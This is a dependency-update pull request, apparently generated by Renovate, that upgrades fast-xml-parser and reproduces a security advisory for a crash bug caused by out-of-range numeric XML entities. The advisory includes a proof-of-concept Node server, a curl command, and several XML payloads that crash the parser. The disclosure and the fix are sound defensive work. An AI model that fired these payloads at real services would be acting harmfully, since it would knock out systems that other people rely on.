fix(deps): update dependency fast-xml-parser to v5.3.4 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
fast-xml-parser	5.3.3 → 5.3.4

GitHub Vulnerability Alerts

CVE-2026-25128

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#​9999999; or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

• [0-9]{1,7} matches up to 9,999,999
• [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#&#8203;9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#&#8203;9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

• API servers accepting XML payloads
• File processors parsing uploaded XML files
• Message queues consuming XML messages
• RSS/Atom feed parsers
• SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

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Release Notes

NaturalIntelligence/fast-xml-parser (fast-xml-parser)

v5.3.4: fix: handle HTML numeric and hex entities when out of range

Compare Source

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